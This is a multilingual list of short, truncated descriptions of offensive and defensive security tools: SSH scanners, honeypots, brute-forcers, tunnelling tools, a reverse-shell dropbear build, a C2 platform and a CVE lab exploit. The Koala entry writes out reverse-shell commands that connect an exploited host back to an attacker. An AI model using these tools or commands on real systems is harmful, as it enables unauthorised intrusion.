CVE-2026-92580

AVideo through 29.0 in the CloneSite plugin is vulnerable to stored OS command injection. In plugin/CloneSite/cloneClient.json.php (~line 270), the stored SSH password is substituted into the command sshpass -p '{password}' rsync ... via a plain str_replace with no escaping, so a single quote bre...

cowrie

.. SPDX-FileCopyrightText: 2014 Upi Tamminen [email protected] .. SPDX-FileCopyrightText: 2014-2025 Michel Oosterhof [email protected] .. .. SPDX-License-Identifier: BSD-3-Clause Cowrie 什么是 Cowrie Cowrie 是一个中到高交互的 SSH 和 Telnet 蜜罐，旨在记录暴力破解攻击以及攻击者执行的 shell 交互。在中交互模式（shell）下，它用 Python 模拟一个...

sentinelssh

SentinelSSH: Escáner Avanzado de Vulnerabilidad CVE-2024-6387 SentinelSSH es un escáner avanzado y de alto rendimiento de vulnerabilidades SSH escrito en Go. Está específicamente diseñado para detectar la vulnerabilidad CVE-2024-6387 en servidores OpenSSH en diversos entornos de red. Instalación...

pentestkoala

Koala 是 dropbear SSH 服务器的一个修补版本，它不绑定到端口，而是通过连接到远程客户端来开启反向 Shell。 这对于在被利用的机器上获取 pty 终端以及通过 SSH 端口转发安全地外泄数据非常有用。还可以通过使用动态 SSH 端口转发功能进行跳板攻击（Pivoting）。 用法 在客户端上运行以下命令以监听 SSH 连接： $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999' 在已被利用的主机上运行： $ ./dropbear -p client-host:5000 现在在客户端上，连接到端口 9999 以开启 Shell： $ s...

patator

Patator Patator was written out of frustration from using Hydra, Medusa, Ncrack, Metasploit modules and Nmap NSE scripts for password guessing attacks. I opted for a different approach in order to not create yet another brute-forcing tool and avoid repeating the same shortcomings. Patator is a...

frp

frp README | 中文文档 Sponsors frp is an open source project with its ongoing development made possible entirely by the support of our awesome sponsors. If you'd like to join them, please consider sponsoring frp's development. Gold Sponsors The complete IDE crafted for professional Go developers The...

chameleon

19 Customizable honeypots for monitoring network traffic, bots activities, and username\password credentials DNS, HTTP Proxy, HTTP, HTTPS, SSH, POP3, IMAP, STMP, RDP, VNC, SMB, SOCKS5, Redis, TELNET, Postgres, MySQL, MSSQL, Elastic and ldap If you want to implement the honeypots in your project,...

libssh-scanner

libssh scanner: CVE-2018-10933. It'll scan for vulnerable server for CVE-2018-10933 based on ssh's banner. This scanner is based on the work of Leap Security. USAGE root@kitploit: libssh-scan...

assetfinder

assetfinder Find domains and subdomains potentially related to a given domain. Install If you have Go installed and configured i.e. with $GOPATH/bin in your $PATH: root@kitploit: go get -u github.com/tomnomnom/assetfinder Otherwise download a release for your platform. To make it easier to execut...

uberscan

uberscan 用于渗透测试服务器、路由器和物联网设备的安全程序 （顺便说一句，我的比特币地址是 3A7yuqBcPAcVEM59bNAVQdTCmkxRb5JRgE） （另外还有一个备用的BTC地址，因为有人报告某些比特币钱包不支持某些地址：1PEDKUiUTxGNJ3XTPfXCTAjpzVzX1VZAme） 同志们，大家好，欢迎使用 UBERSCAN 1.0 UBERSCAN 旨在帮助渗透测试服务器和网络，并作为一个工具，供像我这样试图进入道德黑客行业的人用来了解，例如，有多少设备容易受到像 Mirai...

kube-alien

Kube-alien 该工具从集群内部对 k8s 集群发起攻击。这意味着你需要已经拥有在集群中部署 Pod 的权限才能运行它。运行 kube-alien Pod 后，它会尝试通过将你的公钥添加到节点的 /root/.ssh/authorizedkeys 文件中来接管集群节点，使用的镜像为 https://github.com/nixwizard/dockercloud-authorizedkeys（可通过 config.py 中的 ADDAUTHKEYSIMAGE 参数进行调整），该镜像 fork 自 docker/dockercloud-authorizedkeys。...

scannerl

Scannerl Scannerl is a modular distributed fingerprinting engine implemented by Kudelski Security. Scannerl can fingerprint thousands of targets on a single host, but can just as easily be distributed across multiple hosts. Scannerl is to fingerprinting what zmap is to port scanning. Scannerl wor...

Stowaway

Stowaway English Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具 用户可使用此程序将外部流量通过多个节点代理至内网，突破内网访问限制，构造树状节点网络，并轻松实现管理功能 谢谢各位的star，同时欢迎大家使用后提出问题&&Bug 😘 同时也请各位务必在使用前详细阅读使用方法及文末的注意事项 声明 本项目仅供网络安全研究与教学用途，严禁用于任何非法用途。请确保在使用本工具进行任何测试之前，已获得目标系统明确的授权，并严格遵守您所在国家/地区的相关法律法规。...

CVE-2015-3306

CVE-2015-3306 这个文件包含了针对 ProFTPd 1.3.5 modcopy（CVE-2015-3306）漏洞的单文件利用，特别是为 TryHackMe Kenobi Lab 设计的。 漏洞描述 CVE-2015-3306 是 ProFTPd 1.3.5 中的一个漏洞，源于 modcopy 模块的缺陷，该模块负责启用 FTP 文件复制操作。此漏洞允许 THM 玩家将 SSH 私钥复制到共享目录并将其挂载到本地系统，从而使得 THM 玩家能够使用 SSH 私钥连接到该用户。 利用方法 1. sudo apt-get update 2. sudo apt-get install...

How-To-Secure-A-Linux-Server

如何保护 Linux 服务器 一份持续更新的 Linux 服务器安全加固指南，同时也希望能让你了解一些安全知识及其重要性。 目录 引言 指南目标 为什么要保护你的服务器 为什么又出一份指南 其他指南 待办/待添加 指南概述 关于本指南 我的使用场景 编辑配置文件——给懒人看的 贡献 开始之前 明确你的原则 选择 Linux 发行版 安装 Linux 安装前/后的要求 其他重要说明 使用 Ansible 剧本保护你的 Linux 服务器 SSH 服务器...

CVE-2025-32433-Detection

CVE-2025-32433 检测 作者: te0rwx 创建日期: 2025-08-27 更新于 2026-08-16 描述 一个自定义的 YARA 规则，用于检测与 CVE-2025-32433 相关的已知工件，这是一个 Erlang/OTP SSH 预认证远程代码执行（RCE）漏洞。 该规则是针对公开的概念验证（PoC）工件和受控实验室生成的网络数据包进行开发和验证的。 检测范围 该规则检测与 CVE-2025-32433 相关的已知指标，包括： 公开的 PoC 工件 Erlang 命令执行（os:cmd） Erlang 文件写入操作（file:writefile） SSH...

Mirai-Spray

Mirai-Spray 使用 Hydra 扫描典型的 Mirai 加载器/主机列表格式。 此工具可用于检查一系列主机是否能够被连接。 安装 root@kitploit: apt update -y && apt upgrade -y apt install tor git clone https://github.com/Skotizo/Mirai-Spray cd Mirai-spray g++ main.cpp -o spray ./spray 使用方法 root@kitploit: ./spray host.txt telnet crackedTelnet.txt 或者...

sshkey-grab

sshkey-grab 此脚本利用了ssh-agent中的一个漏洞，允许它拉取最近添加到agent的密钥。这可能导致能够恢复通过 ssh-add -t、-d 或 -D 从 ssh-agent 中移除的密钥，前提是 ssh-agent 未终止，且自上一个密钥被移除后没有添加新密钥。该漏洞已被报告，并可能在更新的 OpenSSH 版本中修复，届时此工具将失效。 依赖 grabagentmem.sh 需要在目标机器上具有 root 权限并安装 gdb 才能正常工作。 parsemem.py 需要安装 pyasn1 Python 模块。 使用 1. 将 grabagentmem.sh...

CVE-2024-6387-Vulnerability-Checker

Comprobador de Vulnerabilidad CVE-2024-6387 Resumen Este script de Python está diseñado para comprobar servidores SSH en busca de la vulnerabilidad CVE-2024-6387, específicamente dirigida al recién descubierto regreSSHion , asociado con versiones específicas de OpenSSH. La herramienta admite...

Supershell

Supershell es una plataforma C2 de control remoto accesible a través de un servicio WEB. Mediante el establecimiento de túneles SSH inversos, obtiene una Shell totalmente interactiva y admite Payloads de múltiples arquitecturas de plataforma...